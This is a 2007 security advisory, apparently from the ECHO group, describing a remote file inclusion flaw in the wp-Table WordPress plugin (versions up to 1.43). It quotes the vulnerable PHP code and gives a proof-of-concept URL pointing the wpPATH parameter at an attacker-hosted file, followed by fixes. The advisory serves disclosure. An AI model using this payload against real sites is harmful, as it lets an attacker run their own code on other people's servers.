adv82-K-159-2007.txt

2007-05-03T00:00:00
ID PACKETSTORM:56372
Type packetstorm
Reporter eufrato
Modified 2007-05-03T00:00:00

Description

                                        
                                            `____________________ ___ ___ ________  
\_ _____/\_ ___ \ / | \\_____ \   
| __)_ / \ \// ~ \/ | \   
| \\ \___\ Y / | \  
/_______ / \______ /\___|_ /\_______ /  
\/ \/ \/ \/   
  
.OR.ID  
ECHO_ADV_82$2007  
  
-----------------------------------------------------------------------------------------  
[ECHO_ADV_82$2007] wordpress plugins wp-Table <= 1.43 (inc_dir) Remote File Inclusion Vulnerability  
-----------------------------------------------------------------------------------------  
  
Author : M.Hasran Addahroni  
Date : May, 1 st 2007  
Location : Australia, Sydney  
Web : http://advisories.echo.or.id/adv/adv82-K-159-2007.txt  
Critical Lvl : Dangerous  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : wp-Table   
version : <= 1.43  
Vendor : http://alexrabe.boelinger.com/?page_id=3  
Description :  
  
This plugin is a simple table manager for wordpress.  
  
---------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~~  
- Invalid include function at js/wptable-button.php :   
  
----------------js/wptable-button.phpp-------------------  
...  
if (!$_POST) $wppath=$_GET['wpPATH'];  
else $wppath=$_POST['wpPATH'];  
  
require_once($wppath.'/wp-config.php');  
require_once($wppath.'/wp-admin/admin.php');  
  
global $wpdb;  
...  
----------------------------------------------------------------  
  
  
Input passed to the "wpPATH" parameter in js/wptable-button.php is not properly verified before being used to include files.   
This can be exploited to include arbitrary files from local or external resources.  
Successful exploitation requires that "register_globals" is enabled.  
  
  
  
  
Poc/Exploit:  
~~~~~~~~  
  
http://www.target.com/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=http://attacker.com/evil?  
  
  
Solution:  
~~~~~  
  
- Edit the source code to ensure that input is properly verified.  
- Turn off register_globals  
- use the latest version   
  
---------------------------------------------------------------------------  
  
Shoutz:  
~~~  
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)  
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw  
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16  
~ newbie_hacker@yahoogroups.com  
~ #aikmel #e-c-h-o @irc.dal.net  
  
---------------------------------------------------------------------------  
Contact:  
~~~~  
  
K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://k-159.echo.or.id/  
  
-------------------------------- [ EOF ] ----------------------------------  
  
`